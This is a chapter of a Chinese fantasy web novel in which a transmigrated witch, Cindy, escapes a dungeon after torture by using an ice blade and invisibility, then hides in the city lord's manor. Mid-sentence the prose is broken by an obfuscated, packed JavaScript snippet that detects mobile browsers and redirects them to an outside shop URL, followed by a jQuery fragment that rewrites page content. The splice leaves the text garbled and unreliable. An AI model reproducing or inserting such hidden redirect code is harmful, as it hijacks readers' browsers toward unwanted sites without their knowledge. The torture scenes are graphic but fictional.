辛蒂是在滴答的水声中醒来的,她稍稍一动,手臂因为长时间被迫抬起,首先是一阵近乎于疼痛的麻木,随后是强烈的刺痛,那是僵硬的肌肉在痛号。
辛蒂有些迷迷糊糊的神智在这样的刺激之下瞬间清醒了过来,她费劲地睁开眼睛——眼皮上不知道糊了一层什么东西,似乎是血痂,这让原本简单的掀开眼皮的动作复杂了不少。
即使只是眨眼这样的简单动作,也会牵扯到身上的无数伤口,带来撕裂一般的疼痛。
她首先看见的就是颜色驳杂的墙壁,那是灰色的石块垒成的,上面被泼溅上了不少血液,新的还在顺着石缝往下流,形成暗红色的水洼,而旧的已经变成了深褐色,和墙壁融为了一体。
墙上挂着一排刑具,上面同样挂着深深浅浅的血色,辛蒂毫不怀疑上面的血不少都是她这具身体的。
辛蒂抽抽鼻子,试图从已经迟钝的感官中分辨出空气中的气味。血腥味,这是当然的,还有地下特有的潮湿的霉味,在这么一个一丝光都没有的地方实属正常。
另外还有浓烈的腐臭味,说不清是来自于角落中腐烂的老鼠还是上一个死在这里的囚徒,总之辛蒂得出了结论,她现在应当是在一个地下牢房中。
而她则是其中的囚犯,手腕被捆绑住吊在空中,脚尖勉强可以触碰到地面,却无法为身体带来任何的支撑。
长时间的悬挂让她的手臂的血液循环几乎凝滞,麻木感一阵强过一阵,两只胳膊似乎已经不再属于她自己,只有疼晕过去的时候她才能有片刻的安宁。
伴随着感官的渐渐复苏,辛蒂开始体会到更多的疼痛感。
她低下头就能看到自己身上纵横交错的鞭痕,粗布制成的囚服已经看不出原本的颜色,上面尽是血污。
透过已经快成为布条的囚服,可以看到这具身体上新伤叠着旧伤,有些伤口已经化脓,有的还在渗血。
身上被鞭笞造成的伤口随着时间的推移开始产生火辣辣的疼痛感,那些铁制的鞭子上一定裹满了辣椒水,说不定还混杂了盐粒,否则不会疼得如此钻心。
牢房外忽然传来脚步声,伴随着两个人的交谈,越来越近。
“······上面的大人们逼得太紧了,让我们今天就必须要问出解药来。”
“其实······我觉得那个女巫未必就是谋害娜沙小姐的真凶,她不像是知道什么的样子,什么酷刑都撬不开她的嘴。”
“嘘!你不要命了?这话可不能乱说,那可是城主大人的宝贝独女,不管什么蛛丝马迹都不能放过。”
“更何况,这女人看起来阴恻恻,就算她和娜沙小姐的昏迷没关系,她肯定也是个该死的女巫。”
“那些法官大人们都说了,女巫就是一切不幸的来源,是世间除了魔鬼以外最邪恶的存在。”
说话间,两个看守拐了个弯到了关押辛蒂的牢房之前,其中一个看守正在找钥匙的时候,忽然听到同伴发出了一声惊呼,“人呢?”
他抬头一看,半个钟头之前还被挂起来奄奄一息的女人此时已经无影无踪,只留下了在半空中晃晃悠悠的绳子,还有下方一滩新鲜的血迹。
看守们惊慌失措,忧心来自上级官员的责罚,全然不知他们以为不翼而飞的女巫实际上还在牢房的角落里,正在因为疼痛全身发抖。
要是地面干净些,他们甚至能分辨出一条长长的新鲜的血色拖痕,可惜光线实在太暗,他们又太慌张,唯一的线索直接被他们忽视了。
在听到二人的谈话后,辛蒂就知道自己必须要马上行动起来了,否则接下来等待她的还不知道会是怎样更残忍的刑具,而这具身体已经经不起任何的锉磨。
她先是用最低限度的魔力,在手中形成一个小小的冰刃——实际上比刮胡刀的刀片还小,不是不能更大,只是现在每一丝魔力都万分珍贵。
冰刃隔断了束缚辛蒂手腕的绳子,她立马软软地跌到了地上,此时两个看守已经走到了牢门之前。
辛蒂集中精神催动了体内微弱的魔力,终于,在其中一个看守抬头的前一秒,辛蒂成功地用出一个隐身术,隐去了身形。
以前的她用出这样的魔法就像吃饭喝水一样简单,现在却不得不用尽全力,固然有受过酷刑的原因,恐怕这具身体的魔法天赋不会太好。
此时的辛蒂无比庆幸自己之前改良了隐身术,只有施术的时候需要耗费些魔力,维持隐身术并不需要额外的消耗。
否则靠着这具残破身体中几乎等于没有的魔力,虽然施术成功了,辛蒂不一定能维持住目前隐身的状态。
尽管如此,魔力过度消耗带来的精神上的剧痛差点让她尖叫出声,就像有千万个凿子在敲打着她的太阳穴。
在两个看守进入牢房,亲自检查断掉的绳索之前,辛蒂强忍着精神以及□□上的剧痛,手脚并用的爬到了角落里,那滩血迹就是她咬破了嘴唇留下的。
一番检查后自然一无所获,看守们看出了绳索是被利器割断的,可是这个女巫哪来的工具,又怎么离开牢房的都是未知的谜题。
两个看守因为这样的意外情况慌了神,六神无主之下连牢房门都忘记锁了,嘴里喊着“快去汇报给大人!”急匆匆地就向外跑去。
直到他们的脚步声消失在走廊的尽头,辛蒂才浅浅松了口气。
可是她还不敢完全松懈,那些看守随时都会带着更多的人回来,他们一定会再次仔细检查牢房中的每一个角落,每一处细节,到那个时候,她就没有那么好的运气能躲过去了。
辛蒂在角落里等待颤抖的手指恢复正常,因为被束缚太久,她的两只手就像要断掉一般,再过两天,这两只手直接坏死也不是没有可能。
等到恢复了些力气,手指基本能够活动后,辛蒂慢慢站起身,一步一步慢慢地向牢房外挪去。
这并不是个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113047|190134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻松的过程,每一步都会导致身上的某处尚未愈合的伤口的崩裂,辛蒂不得不时时留心,以免留下过分明显的血迹显示出她的去向。
辛蒂不合时宜地想起来小美人鱼,不知道她在用人腿走路的时候是否也有着跟她此时相似的痛苦。
在辛蒂踉跄着走过长长的通道,快要能够离开这个地方的时候,看守果然带着一队侍卫回来了。
他们面色凝重,脚步匆匆,似乎要去抓捕一个罪大恶极的犯罪分子,然而实际上他们的目标只是一个虚弱的女人。
有好几次,因为通道的狭窄,那些侍卫几乎要碰到辛蒂了,即使在隐身术的效果之下,辛蒂仍然具有实体,还是能被触摸到。
好在有惊无险,辛蒂最终离开了地牢,出现在了地面上。
辛蒂的冷汗浸湿了身上的囚服,给她的伤口形成了强烈的刺激感。辛蒂只能咬紧牙关,贴紧了墙壁,支撑着自己不要倒下。
这地牢似乎是城主用来关押一些特殊犯人的,除了辛蒂没有别的犯人,上面就是城主府。
辛蒂没有原身的记忆,不知道是否有可以投靠的家人或者朋友,即使有也不能确定是否可靠。
略略思考后,辛蒂决定就在城主府找个地方养伤,最危险的地方就是最安全的地方,那个据说是被她“害”得昏迷不醒的娜莎小姐的住处就是一个不错的选择。
在那之前,辛蒂必须要先找地方洗去自己的一身臭味以及血腥味,还有填饱自己的肚子,否则很容易就会被人发现。
辛蒂再次感谢曾经的自己改良了隐身术,即使原本的隐身术维持的魔力消耗就很小,对于现在的辛蒂来说,那一点点的魔力都是要命的。
脱离危险之后,辛蒂未免有些埋怨歌希西特,给她找了这么一个破身体。
不过仔细想想,祂只能让她的灵魂进入将死或是死去不久的身体中,上一个世界那样的开局已经算是幸运了。
隐身状态的辛蒂在城主府中几乎畅行无阻,不管是厨房还是大厅,都没人能发现她。
在冰冷的湖水中冲洗掉自己身上的脏污,又随意包扎了一下身上的伤口,穿上偷来的女仆的衣服,此时的辛蒂已经到达了极限。
更糟糕的是,她似乎因为伤口的感染,有些发烧。
还好城主府的仓库中有很多草药,而辛蒂恰好精通药剂的调配,好吧其实并不巧,在上一个世界里,辛蒂精通了大部分巫师知识。
做好药剂后,辛蒂并不急着喝下去,她需要先找个安全的,能好好睡上一觉的地方,那就是娜莎小姐的住处。
辛蒂的运气还不错,尾随着几个女仆,辛蒂很快就到达了娜莎小姐的房间里。
娜莎小姐的昏迷应该发生不久,几乎整个城主府都在讨论娜莎小姐是如何如何无辜,名为辛蒂的女巫又是如何如何恶毒。
在几个女仆的闲谈中,辛蒂终于明白了这具身体目前的处境。